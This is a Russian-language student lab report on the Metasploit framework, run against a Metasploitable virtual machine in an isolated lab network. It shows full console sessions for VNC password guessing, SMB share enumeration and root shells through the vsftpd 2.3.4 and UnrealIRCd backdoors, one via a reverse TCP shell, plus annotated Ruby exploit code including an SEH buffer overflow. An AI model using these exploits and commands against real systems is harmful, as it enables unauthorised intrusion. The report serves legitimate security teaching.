Лабораторная работа №3
Дисциплина «Методы и средства защиты информации»
Metasploit

Евгений Хандыго, гр. 53501/3

24 апреля 2016 г.

Содержание

1 Постановка задачи

Metasploit — это набор утилит и инструментов для проведения тестирования на проникновение. В рамках данной работы необходимо овладеть основными аспектами работы с фреймворком Metasploit. Для осовоения практической части работы необходимо выполнить следующие задания:

- Подключиться к VNC-серверу. Получить доступ к консоли атакуемой машины.
- Получить список директорий в общем доступе по протоколу SMB.
- Получить доступ к консоли атакуемой машины, используя уязвимость vsftpd.
- Получить доступ к консоли атакуемой машины, используя уязвимость в irc.
- Armitage Hail Mary.
- Изучить три файла с исходным кодом кодом эксплойтов или служебных скриптов на ruby. Описать принцип их работы.

2 Условия проведения экспериментов

Ниже перечислены основные условия и настройка окружения, в котором проводились все описанные далее эксперименты:

- В качестве атакуемой машины выступает виртуальная машина с Metasploitable.
- В качестве атакующей машины выступает виртуальная машина с Kali Linux.
- Атакуемая и атакующая машины связаны виртуальной сетью, в которую не входит никакая другая машина.
- Атакуемая и атакующая машины находятся в сети с адресом `10.0.0.0/24`. За атакуемой машиной закреплен ip-адресс `10.0.0.100`, а за атакующей — `10.0.0.101`.

В рамках данной работы не будет рассматриваться этап поиска и сканирования атакуюемой машины со стороны атакуеющей, поскольку данный процесс был подробно рассмотрен в предыдущей лабораторной работе. Таким образом, на атакующей машины уже существует workspace (в терминологии metasploit), в котором содержится вся необходимая для проведения атаки информации. Описание данного workspace приведено в листинге 2.1

```
msf > workspace host100
[*] Workspace: host100

msf > hosts -c address,mac,os_name

Hosts
=====
address     mac                os_name
-------     ---                -------
10.0.0.100  08:00:27:9a:4b:ee  Linux
```

```
msf > services

Services
========
host        port  proto  name           state  info
----        ----  -----  ----           -----  ----
10.0.0.100  21    tcp    ftp            open   vsftpd 2.3.4
10.0.0.100  22    tcp    ssh            open   OpenSSH 4.7p1 Debian
10.0.0.100  23    tcp    telnet         open   Linux telnetd
10.0.0.100  25    tcp    smtp           open   Postfix smtpd
10.0.0.100  53    tcp    domain         open   ISC BIND 9.4.2
10.0.0.100  80    tcp    http           open   Apache httpd 2.2.8
10.0.0.100  111   tcp    rpcbind        open   2 RPC #100000
10.0.0.100  139   tcp    netbios-ssn    open   Samba smbd 3.X
10.0.0.100  445   tcp    netbios-ssn    open   Samba smbd 3.X
10.0.0.100  512   tcp    exec           open   netkit-rsh rexecd
10.0.0.100  513   tcp    login          open
10.0.0.100  514   tcp    shell          open   Netkit rshd
10.0.0.100  1099  tcp    rmiregistry    open   GNU Classpath grmiregistry
10.0.0.100  1524  tcp    shell          open   Metasploitable root shell
10.0.0.100  2049  tcp    nfs            open   2-4 RPC #100003
10.0.0.100  2121  tcp    ftp            open   ProFTPD 1.3.1
10.0.0.100  3306  tcp    mysql          open   MySQL 5.0.51a-3ubuntu5
10.0.0.100  5432  tcp    postgresql     open   PostgreSQL DB 8.3.0 - 8.3.7
10.0.0.100  5900  tcp    vnc            open   VNC protocol 3.3
10.0.0.100  6000  tcp    x11            open   access denied
10.0.0.100  6667  tcp    irc            open   Unreal ircd
10.0.0.100  6789  tcp    my-tcp-server  open   my-tcp-server 1.0-SNAPSHOT
10.0.0.100  8009  tcp    ajp13          open   Apache Jserv Protocol v1.3
10.0.0.100  8180  tcp    http           open   Apache Tomcat
```

Listing 2.1: Содержание workspace перед началом проведения экспериментов

Также стоит отметить, что некоторая несодержательная часть вывода утилит была удалена для удобства восприятия.

3 Получение доступа к консоли через VNC-сервера

Для получения доступа к VNC-серверу в общем случае необходимо получить пароль к нему. Конечно, прежде чем приступать к этому процессу, необходимо проверить конфигурацию VNC-сервера на предмет отсутствия схемы авторизации. Данный факт указал бы на то, что получить доступ к интерфейсу атакуемой машины можно без пароля. Для осущесвления этой проверки воспользуемся утилитой `vnc_none_auth` как показано в листинге 3.1.

```
msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options

Module options (auxiliary/scanner/vnc/vnc_none_auth):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address
   RPORT    5900             yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(vnc_none_auth) > set RHOSTS 10.0.0.100
RHOSTS => 10.0.0.100
msf auxiliary(vnc_none_auth) > run

[*] 10.0.0.100:5900 - VNC server protocol version: [3, 4].3
[*] 10.0.0.100:5900 - VNC server security types supported: VNC
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Listing 3.1: Проверка наличия схемы авторизации VNC-сервера

Как видно из приведенного вывода, VNC-сервер, к которому необходимо получить доступ, не предоставляет свободного доступа. Таким образом, необходимо каким-либо образом выяснить пароль к нему. Для этого в metasploit представлена утилита `vnc_login`. По сути ее роль сводится к перебору заранее известного списка паролей. Ниже, в листинге 3.2 представлены параметры утилиты `vnc_login`.

```
msf auxiliary(vnc_login) > show options -c name,current setting

Module options (auxiliary/scanner/vnc/vnc_login):
   Name              Current Setting
   ----              ---------------
   BLANK_PASSWORDS   false
   BRUTEFORCE_SPEED  5
   DB_ALL_CREDS      false
   DB_ALL_PASS       false
   DB_ALL_USERS      false
   PASSWORD
   PASS_FILE         /home/pswds
   Proxies
   RHOSTS
```

```
   RPORT             5900
   STOP_ON_SUCCESS   false
   THREADS           1
   USERNAME          BLANK
   USERPASS_FILE
   USER_AS_PASS      false
   USER_FILE
   VERBOSE           true
```

Listing 3.2: Параметры утилиты `vnc_login`

Параметр с ключом `PASS_FILE` указывает путь к файлу, содержащему возможные пароли для доступа к VNC-серверу на атакуемой машине. Данный файл был создан заранее как показано в листинге 3.3.

```
msf auxiliary(vnc_login) > echo "admin" > pswds
msf auxiliary(vnc_login) > echo "1234" >> pswds
msf auxiliary(vnc_login) > echo "qwerty123" >> pswds
msf auxiliary(vnc_login) > echo "password" >> pswds
msf auxiliary(vnc_login) > cat pswds
admin
1234
qwerty123
password
```

Listing 3.3: Создание списка возможных паролей к VNC-серверу

Перед тем, как запускать данную утилиту, необходимо также указать адресс атакуемой машины (или диапазон адресов). Пример использования утилиты `vnc_login` представлен в листинге 3.4.

```
msf auxiliary(vnc_login) > set RHOSTS 10.0.0.100
RHOSTS => 10.0.0.100
msf auxiliary(vnc_login) > run

[*] 10.0.0.100:5900 - Starting VNC login sweep
[-] 10.0.0.100:5900 VNC - LOGIN FAILED: :admin
[-] 10.0.0.100:5900 VNC - LOGIN FAILED: :1234
[-] 10.0.0.100:5900 VNC - LOGIN FAILED: :qwerty123
[+] 10.0.0.100:5900 - LOGIN SUCCESSFUL: :password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Listing 3.4: Пример вывода утилиты `vnc_login`

Как видно из вывода, к VNC-серверу подошел один из паролей, представленных в файле `/home/pswds`. Используя его, теперь можно получить доступ к атакуемой машине как показано в листинге 3.5.

```
msf auxiliary(vnc_login) > echo "password" | vncviewer 10.0.0.100 -autopass
[*] exec: echo "password" | vncviewer 10.0.0.100 -autopass

Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
```

Listing 3.5: Инициализация соеденения с VNC-сервером по подобранному паролю

Для подтверждения получения доступа к консоли атакуемой машины можно воспользоваться следующим набором команд:

```
root@metasploitable:/# who
msfadmin tty1         Apr 23 09:02
root     pts/0        Apr 23 08:57 (:0.0)
root@metasploitable:/# whoami
root
```

Listing 3.6: Проверка присоединения к консоли атакуемой машины

4 Получение списка публичных директорий по протоколу SMB

Для получения списка директорий в свободном доступе по протоколу SMB (*Server Message Block*) metasploit предоставляет утилиту `smb_enumshares`. Пример использования данной утилиты представлен в листинге 4.1

```
msf > use auxiliary/scanner/smb/smb_enumshares
msf auxiliary(smb_enumshares) > show options

Module options (auxiliary/scanner/smb/smb_enumshares):
   Name             Current Setting
   ----             ---------------
   LogSpider        3
   RHOSTS
   SMBDomain        .
   SMBPass
   SMBUser
   ShowFiles        false
   SpiderProfiles   true
   SpiderShares     false
   THREADS          1
   USE_SRVSVC_ONLY  false

msf auxiliary(smb_enumshares) > set RHOSTS 10.0.0.100
RHOSTS => 10.0.0.100
msf auxiliary(smb_enumshares) > run

[+] 10.0.0.100:139 - print$ - (DISK) Printer Drivers
[+] 10.0.0.100:139 - tmp - (DISK) oh noes!
[+] 10.0.0.100:139 - opt - (DISK)
[+] 10.0.0.100:139 - IPC$ - (IPC) IPC Service (Samba 3.0.20-Debian)
[+] 10.0.0.100:139 - ADMIN$ - (IPC) IPC Service (Samba 3.0.20-Debian)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Listing 4.1: Пример использования утилиты `smb_enumshares`

5 Получение доступа к консоли через vsftpd

Для эусплуатирования уязвимости типа backdoor в FTP-сервере vsftpd metasploit предоставляет утилиту `vsftpd_234_backdoor`. Ниже в листенге 5.1 приведен пример ее использования.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port

msf exploit(vsftpd_234_backdoor) > set RHOST 10.0.0.100
RHOST => 10.0.0.100
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.0.101:45083 -> 10.0.0.100:6200)
    at 2016-04-23 09:34:08 -0400

who
msfadmin tty1         Apr 23 09:02
root     pts/0        Apr 23 08:57 (:0.0)
whoam
sh: line 6: whoam: command not found
whoami
root

exit

[*] 10.0.0.100 - Command shell session 1 closed.  Reason: Died from EOFError
```

Listing 5.1: Пример использования утилиты `vsftpd_234_backdoor`

6 Получение доступа к консоли через irc

Для эусплуатирования уязвимости типа backdoor в IRC-сервере UnrealIRCd metasploit предоставляет утилиту `unreal_ircd_3281_backdoor`. Ниже в листенге 6.1 приведен пример ее использования.

```
msf exploit(vsftpd_234_backdoor) > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  6667             yes       The target port

msf exploit(unreal_ircd_3281_backdoor) > set RHOST 10.0.0.100
RHOST => 10.0.0.100
msf exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 10.0.0.101:4444
[*] Connected to 10.0.0.100:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname;
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo czuWPQybMdOrmtY1;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "czuWPQybMdOrmtY1\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (10.0.0.101:4444 -> 10.0.0.100:48501)

whoami
root
who
msfadmin tty1         Apr 23 09:02
root     pts/0        Apr 23 08:57 (:0.0)
```

Listing 6.1: Пример использования утилиты `unreal_ircd_3281_backdoor`

7 Разбор исходных кодов эксплойтов

7.1 Структкура эксплойтов

Рассматриваемые в данном разделе примеры эксплойтов будут приведены на языке программирования Ruby. Все они имеют общую структкуру следующего вида:

- Все эксплойты описываются одним классом, который расширяет класс

`Msf::Exploit::Remote`.

- Каждый класс содержит поле `Rank`, описывающее эффективность данного эксплойта.
- Каждый класс содержит две обязательные функции:
  - `initialize`, которая описывает метаинформацию об эксплойте и описывает его параметры.
  - `exploit` функция, осуществляющая непосредственно эксплуатацию некоторой уязвимости.

Для удобства представления далее не будут рассматриваться секции инициализации эксплойтов, поскольку они описывают лишь служебную информацию программы. Ниже, в листинге 7.1, приведен пример реализации данной функции для модуля `Android ADB Debug Server Remote Payload Execution`.

```
15    def initialize(info = {})
16      super(update_info(info,
17        'Name'           => 'Android ADB Debug Server Remote Payload Execution',
18        'Description'    => %q{
19          Writes and spawns a native payload on an android device that
20          is listening for adb debug messages.
21        },
22        'Author'         => ['joev'],
23        'License'        => MSF_LICENSE,
24        'DefaultOptions' => {'PAYLOAD' => 'linux/armle/shell_reverse_tcp'},
25        'Platform'       => 'linux',
26        'Arch'           => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
27        'Targets'        => [
28          ['armle',  {'Arch' => ARCH_ARMLE}],
29          ['x86',    {'Arch' => ARCH_X86}],
30          ['x64',    {'Arch' => ARCH_X86_64}],
31          ['mipsle', {'Arch' => ARCH_MIPSLE}]
32        ],
33        'DefaultTarget'  => 0,
34        'DisclosureDate' => 'Jan 01 2016'
35      ))
36
37      register_options([
38        Opt::RPORT(5555),
39        OptString.new('WritableDir',
40          [true, 'Writable directory', '/data/local/tmp/'])
41      ], self.class)
42    end
```

Listing 7.1: Пример реализацити функции `initialize`

7.2 VSFTPD 2.3.4 - Backdoor Command Execution

В данном разделе речь пойдет о модуле `vsftpd_234_backdoor`, который уже упоминался в данной работе. Ниже, приведен подробный разбор действий, необходимых для эксплуатации уязвимости. Код процедур, используемых в данном модуле представлен в листингах 7.2 и 7.3.

- `61 - 66`. Попытка открытия tcp-соеденения на порт `6200`. В случае успеха считается, что уязвимость уже эксплуатируется и управление передается процедуре `handle_backdoor`.
- `68`. Попытка открытия tcp-соеденения на адресс и порт, указанные пользователем.
- `70 - 71`. Получение и печать приветственного сообщения от атакуемой машины.
- `73 - 75`. Отправление сообщения вида `USER username`, где `username` — случайная строка, состоящая из цифр и букв длинной не более семи символов. Затем происходит считывание ответа и его печать.
- `77 - 81`. Если ответ на предыдущее сообщение начинается с последовательности `530` (код ответа, соответствующий ситуации, когда пользователь не выполнил вход в систему), то эксплуатация уязвимости считается невозможной. В этом случае происходит прерывание установленного соеденения и выход из процедуры.
- `83 - 87`. Если ответ на предыдущее сообщение не начинается с последовательности `331` (код ответа, соответствующий ситуации, когда имя пользователя корректно и для продолжения требуется пароль), то эксплуатация уязвимости считается невозможной. В этом случае происходит прерывание установленного соеденения и выход из процедуры.
- `89`. Отправление сообщения вида `PASS password`, где `password` — случайная строка, состоящая из цифр и букв длинной не более семи символов.
- `92 - 97`. Попытка открытия tcp-соеденения на порт `6200`. В случае успеха управление передается процедуре `handle_backdoor`.
- `99`. После выхода из процедуры `handle_backdoor` происходит прерывание открытого соеденения и завершение процедуцры `exploit`.

```
60  def exploit
61      nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
62      if nsock
63          print_status("The port used by the backdoor ...")
64          handle_backdoor(nsock)
65          return
66      end
67
68      connect
69
70      banner = sock.get_once(-1, 30).to_s
71      print_status("Banner: #{banner.strip}")
72
73      sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
74      resp = sock.get_once(-1, 30).to_s
75      print_status("USER: #{resp.strip}")
76
77      if resp =~ /^530 /
78          print_error("This server is configured for anonymous only ...")
79          disconnect
80          return
81      end
82
83      if resp !~ /^331 /
84          print_error("This server did not respond as expected: #{resp.strip}")
85          disconnect
86          return
87      end
88
89      sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
90
91      # Do not bother reading the response from password, just try the backdoor
92      nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
93      if nsock
94          print_good("Backdoor service has been spawned, handling...")
95          handle_backdoor(nsock)
96          return
97      end
98
99      disconnect
100 end
```

Listing 7.2: Реализацити процедуры `exploit` в модуле `vsftpd_234_backdoor`

```ruby
def handle_backdoor(s)
    s.put("id\n")

    r = s.get_once(-1, 5).to_s
    if r !~ /uid=/
        print_error("The service on port 6200 does not appear ...")
        disconnect(s)
        return
    end

    print_good("UID: #{r.strip}")

    s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
    handler(s)
end
```

Listing 7.3: Реализацити процедуры `handle_backdoor` в модуле `vsftpd_234_backdoor`

7.3 Easy File Sharing HTTP Server 7.2 SEH Overflow

В данном разделе будет рассмотрена реализация `SEH overflow exploit` для `Easy File Sharing HTTP Server` версии `7.2`.

```ruby
def exploit
    connect
    print_status("Sending exploit...")
    sploit = "GET "
    sploit << rand_text_alpha_upper(4061)
    sploit << generate_seh_record(target.ret)
    sploit << make_nops(19)
    sploit << payload.encoded
    sploit << make_nops(7)
    sploit << rand_text_alpha_upper(
        4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
    sploit << " HTTP/1.0\r\n\r\n"
    sock.put(sploit)
    print_good("Exploit Sent")
    handler
    disconnect
end
```

Listing 7.4: Реализацити процедуры `exploit` для `Easy File Sharing HTTP Server 7.2`

Принцип работы данных уязвимостей основан на механизме `stuctured exception`

`handling`, отвечающим за обработку программных исключений в операционной системе Windows. В SEH каждый блок обработки исключений ассоциирцется с собственным обработчиком исключений, который содержит указатель на следующий за ним (в иерархии) обработчик. Таким образом, при переполнении буффера, хранящего информацию о текущем обработчике исключений, можно перезаписать код следующего за ним обработчика на произвольный. Таким образом, передача управления в перезаписанный блок приведет к исполнению произвольного кода.
Реализация процедуры, эксплуатирующей уязвимость данного типа для `Easy File Sharing HTTP Server` версии `7.2`, представлена в листинге 7.4. Ниже предсталвен разбор последовательности действий, выполняемых данной процедурой.

- `55`. Попытка открытия tcp-соеденения на адресс и порт, указанные пользователем.
- `57`. Начало формирование строки, которая будет послана на сервер. В данном случае строка будет содержать слово `GET`, что скорее всего указывает на инструкцию использовать GET-запрос по протоколу HTTP.
- `58`. Строка-эксплуататор дополняется случайной строкой, состоящей из 4061ой буквы в верхнем регистре.
- `59`. Строка-эксплуататор дополняется структурой SEH-обработчика.
- `60`. Строка-эксплуататор дополняется строковым представлением пустой операции, повторенной 19 раз.
- `61`. Строка-эксплуататор дополняется закодированной (видимо, для протокола HTTP) строкой полезной нагрузки — кода, который необходимо выполнить на атакуемой машине.
- `62`. Строка-эксплуататор дополняется строковым представлением пустой операции, повторенной 7 раз.
- `63 - 64`. Строка-эксплуататор дополняется случайной строкой, состоящей из букв в верхнем регистре остаточной длины.
- `65`. Строка-эксплуататор дополняется строкой `HTTP/1.0`.
- `66`. Строка-эксплуататор засылается на атакуемую машину.
- `68`. Проверка успеха эксплуатации и состояния соединения.
- `69`. Разрыв соеденения и выход из процедуры `exploit`.

7.4 UnrealIRCD 3.2.8.1 - Backdoor Command Execution

В данном разделе речь пойдет о модуле `unreal_ircd_3281_backdoor`, который уже упоминался в данной работе. Ниже, приведен подробный разбор действий, необходимых для эксплуатации уязвимости. Код процедуры, `exploit` для данного модуля представлен в листинге 7.5.

```
64  def exploit
65      connect
66
67      print_status("Connected to #{rhost}:#{rport}...")
68      banner = sock.get_once(-1, 30)
69      banner.to_s.split("\n").each do line
70          print_line("    #{line}")
71      end
72
73      print_status("Sending backdoor command...")
74      sock.put("AB;" + payload.encoded + "\n")
75
76      handler
77      disconnect
78  end
```

Listing 7.5: Реализацити процедуры `exploit` для модуля `unreal_ircd_3281_backdoor`

- `65`. Попытка открытия tcp-соеденения на адресс и порт, указанные пользователем.
- `67 - 71`. Печать приветственного сообщения.
- `74`. Отправление сообщения-эксплуататора на атакуемую машину.
- `76`. Проверка успеха эксплуатации и состояния соединения.
- `77`. Разрыв соеденения и выход из процедуры `exploit`.

8 Заключение

Фреймворк metasploit является очень мощным инструментом для проведения тестирования на проникновение. В рамках данной работы были освоены некоторые базовые аспекты работы с metasploit, а также проведена проверка его возможности на практике путем эксплуатирования нескольких заведомо известных уязвимостей атакуемой машины.